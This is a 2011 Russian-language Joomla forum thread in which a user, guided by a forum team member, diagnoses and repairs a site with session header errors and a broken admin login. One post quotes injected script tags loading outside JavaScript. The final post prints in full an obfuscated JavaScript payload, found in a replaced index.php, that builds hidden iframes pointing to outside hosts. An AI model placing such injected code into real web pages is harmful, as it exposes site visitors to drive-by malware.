Много проблем с сайтом

Тема в разделе "Сайт умер, лежит и не дышит", создана пользователем mira56, 25.04.2011.

  1. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Прошу помощи.

    Сайт был создан около года назад и никогда проблем не было. Директор оффиса - мужик толковый, сам хорошо во многом разбирается, по логике он никак не мог напортачить сам.

    Около 2 недель назад с сайтом стали происходить глюки. Обратился ко мне, а я пока не могу сама справиться. Помогите, пожалуйста. (Учитывая, что я не великий специалист, и программирование не мой конек)

    Первая проблема была, что над шапкой сайта появилось:

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 424

    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 424

    Warning: Cannot modify header information - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 427

    Проблема была устранена путем добавления в /libraries/joomla/session/session.php function _start() "//" перед session_start() - //session_start()

    Однако в последующие дни заход в админку сайта то работал, то не работал. (Что это может быть?) И пропала вся связь:
    не работают Contact, aiContactSafe , и невозможно добавить и редактировать сообщения в jEvents.

    В Contact страница просто обновляется без захода и без "ругательств". В aiContactSafe пишет:

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/components/com_aicontactsafe/aicontactsafe.php on line 14

    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/components/com_aicontactsafe/aicontactsafe.php on line 14

    Сейчас вход в админку не работает (обновляется страница входа с пустыми полями логина/пароля). Зайти не могу. С чего начать? Как зайти в админку? Что потом? Дезинсталировать и снова загрузить компоненты и модули? Или есть другие решения?

    Очень надеюсь на вашу помощь.
     
  2.  
  3. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    Хочу посмотреть файл конфиг.пхп.Только без пароля и личных данных по хостингу.
    И нужно посмотреть дату последнего изменения конфиг.пхп.
    п.с. и сессии включите.
     
  4. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Спасибо за ответ.

    "п.с. и сессии включите."
    - Вы имеете ввиду открыть session_start()? - Тогда сразу шапка вверху на сайте появляется. (Хотя, конечно, спрятав визуально проблему, не избавиться от нее и от прочих)

    <?php
    class JConfig {
    var $offline = '0';
    var $editor = 'jce';
    var $list_limit = '20';
    var $helpurl = 'http://help.joomla.fr';
    var $debug = '0';
    var $debug_lang = '0';
    var $sef = '1';
    var $sef_rewrite = '0';
    var $sef_suffix = '1';
    var $feed_limit = '10';
    var $feed_email = 'author';
    var $secret = ' ';
    var $gzip = '0';
    var $error_reporting = '-1';
    var $xmlrpc_server = '0';
    var $log_path = ' ';
    var $tmp_path = ' ';
    var $live_site = ' ';
    var $force_ssl = '0';
    var $offset = '0';
    var $caching = '0';
    var $cachetime = '15';
    var $cache_handler = 'file';
    var $memcache_settings = array();
    var $ftp_enable = '0';
    var $ftp_host = ' ';
    var $ftp_port = ' ';
    var $ftp_user = '';
    var $ftp_pass = '';
    var $ftp_root = '';
    var $dbtype = 'mysql';
    var $host = 'mysql5-7.pro';
    var $user = ' ';
    var $db = ' ';
    var $dbprefix = 'jos_';
    var $mailer = 'mail';
    var $mailfrom = ' ';
    var $fromname = ' ';
    var $sendmail = '/usr/sbin/sendmail';
    var $smtpauth = '0';
    var $smtpsecure = 'none';
    var $smtpport = '25';
    var $smtpuser = '';
    var $smtppass = '';
    var $smtphost = 'localhost';
    var $MetaAuthor = '1';
    var $MetaTitle = '1';
    var $lifetime = '15';
    var $session_handler = 'database';
    var $password = ' ';
    var $sitename = ' ';
    var $MetaDesc = ' ';
    var $MetaKeys = 'office culturel, arras, association, association culturelle, concert, photo, musique, théâtre, festival, spectacle';
    var $offline_message = '';
    }
    ?>

    Если что лишнее убрала, скажите, что дополнить, пожалуйста.

    P.S.: тут посидела на форумах... есть версия, что была подхвачена зараза через скрипты в index.php и index.html. Там появляются такие штучки, типа:

    <script type="text/javascript" src="http://acp.ipp.lt/search.php"></script><?php
    include dirname(__FILE__).DIRECTORY_SEPARATOR.'component.p hp';
    ?>

    <html><body><script type="text/javascript" src="http://www.chicasenvideochat.com/search.php"></script><br><h2 align="center">Access denied.</h2></body></html>

    Но на моем сайте их нет.
     
  5. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Сегодня выходной, связаться с директором не могу.

    По движению на сайте (проблемы начали возникать якобы около 2-х недель назад, то есть около 5-10 апреля):

    - 01.03.2011 заменены все index.html видимо автоматически во всех папках (по времени - 2 минуты разница ; Директор добавил в основной директорий дополнительный php файл.)
    - 31.03.2010 заменен index.php
    - 12.04.2011 заменен htaccess.txt
    - 14.04.2011 заменен index.php

    configuration.php - не менялся. Сравнила с "чистым"(сохраненным на моем компе) - не вижу проблемы.

    Сайт не работает в усиленном режиме. Это сайт культурных событий в небольшом административном центре. Директор мог и не замечать, что что-то шло не так. Но уж 31 матра он вмешался. Значит было зачем. А 12-14 видимо совсем плохо стало.
     
    Последнее редактирование: 25.04.2011
  6. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    mira56,
    Может дир еще и на папку темп закрыл доступ?
     
  7. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    На какую папку? Кому закрыл доступ?

    Он сам не может зайти в админку, не может зайти на сайт, как пользователь. Странно то, что доступ (как он говорит) то появлялся, то пропадал за последние 2 недели. Сайт не имеет "связи". А так, работает. Все остальные модули и компоненты вроде в порядке.
     
  8. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    Мне достаточно.Открыть файл конфиг.пхп и сохранить UTF-8 без BOM.
    Джумла ?
    Его не менять нужно-а включать/переименовать в ".htaccess"
     
  9. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    Какая версия Joomla ?Может обновиться до 1.25.23 и еще нужно посмотреть что в таблице users поле block 0 or 1 ?
     
  10. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Вы уж простите непрофессионала (коим я являюсь), где там про UTF-8? В configuration.php?

    Это было сделано при загрузке на хостинг. ".htaccess" существует и не менялся.

    - там все нормально. Это я удалила, когда копировала.

    Это имеется ввиду? В libraries/joomla/user ?

    var $id = null;

    /**
    * The users real name (or nickname)
    * @var string
    */
    var $name = null;

    /**
    * The login name
    * @var string
    */
    var $username = null;

    /**
    * The email
    * @var string
    */
    var $email = null;

    /**
    * MD5 encrypted password
    * @var string
    */
    var $password = null;

    /**
    * Clear password, only available when a new password is set for a user
    * @var string
    */
    var $password_clear = '';

    /**
    * Description
    * @var string
    */
    var $usertype = null;

    /**
    * Description
    * @var int
    */
    var $block = null;

    /**
    * Description
    * @var int
    */
    var $sendEmail = null;

    /**
    * The group id number
    * @var int
    */
    var $gid = null;

    /**
    * Description
    * @var datetime
    */
    var $registerDate = null;

    /**
    * Description
    * @var datetime
    */
    var $lastvisitDate = null;

    /**
    * Description
    * @var string activation hash
    */
    var $activation = null;

    /**
    * Description
    * @var string
    */
    var $params = null;

    /**
    * Description
    * @var string integer
    */
    var $aid = null;

    /**
    * Description
    * @var boolean
    */
    var $guest = null;

    /**
    * User parameters
    * @var object
    */
    var $_params = null;

    /**
    * Error message
    * @var string
    */
    var $_errorMsg = null;


    Чтобы "обновиться", надо зайти в админку. А КАК?
     
  11. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    Не всегда.Можно и FTP.
    phpmyadmin хостинга нужно посмотреть что в таблице users поле block 0 or 1 ?

    NotePad++
    там путь прописан к папке темп,на которую нужно права 755,а иногда при установке расширений 777.
     
  12. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Draff, спасибо большое за помощь. Я просто проходила курс , этот сайт был как бы моей курсовой работой. Я не специалист. Но директор - очень хороший человек. Мне бы хотелось ему помочь, да и свое "детище" не хочется оставлять брошенным и испорченным.

    - Если я правильно поняла, надо зайти через FileZilla в phpMyAdmin? И там проверить где-то в jos_plugins -> User Joomla "0" или "1". Так?
    У меня не сохранились явки и пароли на БД. Завтра я это смогу проверить.

    - не поняла. NotePad не пользовалась. Все же, как для чайников, где это? Зачем NotePad?

    - тоже сложно понять. Там такая строчка:
    var $tmp_path = '/homez.40/officecu/www/tmp';

    (не знаю, как уразуметь правА на 755 или на 777.... )


    Все же, все же... Начать с проверки users поле block 0 or 1? Больше никаких возможностей зайти в админку?

    Почему слетели входы на сайт через aiContactSafe и Contact в jEvents?

    Стоит ли пытаться сейчас обновить до последней (или до более новой версии) Joomla? Я ставила 1.5.15. Если стОит, то как это можно сделать через FTP.

    P.S.: Если можете помочь, могу дать ссылку на сайт. Можете сами посмотреть, что там не работает. С помощью "//" убрала косяки, но зайти на сайт в администрирование и как пользователю невозможно.

    В любом случае, спасибо Вам. Извините, что отвлекаю в праздники. С Пасхой!
     
    Последнее редактирование: 26.04.2011
  13. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 034
    Симпатии:
    518
    Пол:
    Мужской
    Нет,не правильно.phpmyadmin графический интерфейс управления БД.
    NotePad++
     
  14. Offline

    mira56 Недавно здесь

    Регистрация:
    25.04.2011
    Сообщения:
    7
    Симпатии:
    0
    Пол:
    Женский
    Все настроено! :)

    Что было сделано:

    1) В БД jos_plugins -> published заменила "0" на "1" (только по-моему это ни на что не повлияло);

    2) Вернула замененный 2 недели назад index.php. Получила следующее ругательство на главной странице:

    y='rum';n='s';fp='afe';e='tp';bo='/f';lk='o.c';bl='742';x='7';i='ra';h='c';gf='.';fl='ht';q='//';w='c';pu='554';mk='p?';qg='tp=';il='ph';yy='o';am='5e';k='.c';c='me';u='r';d='20a';qd='1';z='prw';xu='if';iy='a';f=':';a=xu.concat(i,c);kx=n.concat(u,h);l=fl.concat(e,f,q,z,qd,k,lk,w,bo,yy,y,gf,il,mk,qg,bl,d,am,pu,fp,iy,x);var ov=document.createElement(a);ov.setAttribute('width','5');ov.setAttribute('height','5');ov.setAttribute('style','display:none');ov.setAttribute(kx,l);document.body.appendChild(ov);lb='r';r='d3b';q='.c';b='or';v='e';bi='e30';gl='?';j='c/f';ru='l';pj='a';zh='m.';h='a';xc='me';i='c';z='tp:';n='4';ye='=';lg='s';qk='426';jp='ht';g='a';k='z';ut='u';c='//p';pr='7f';o='i';by='fr';ck='3';pl='php';pe='tp';e='a';nc='.co';gz=o.concat(by,h,xc);kx=lg.concat(lb,i);dv=jp.concat(z,c,k,ru,ck,nc,q,j,b,ut,zh,pl,gl,pe,ye,v,pj,r,e,qk,pr,bi,g,n);var bo=document.createElement(gz);bo.setAttribute('width','5');bo.setAttribute('height','5');bo.setAttribute('style','display:none');bo.setAttribute(kx,dv);document.body.appendChild(bo);

    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 424

    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 424

    Warning: Cannot modify header information - headers already sent by (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 427

    (Сайт при этом отображается корректно)

    3) Попробовала зайти в админку. Зашла. Сразу! =O В чем была "штучка" не поняла. Но вход в админку заработал;

    4) Почистила cach;

    5) Поставила сайт в "offline"; Загрузила через FileZilla версию 1.5.23. (заменила htaccess.txt на .htaccess);

    6) Сайт не открывался из-за глюков c jEvents. В .htaccess добавила SetEnv PHP_VER5 ;

    ВСЕ! Сайт открылся. Ругательства пропали, связь заработала. (Connextion, JEvents, aiContactSafe) [!]

    Пфффф....:):)
     
    Последнее редактирование: 26.04.2011

Поделиться этой страницей

Загрузка...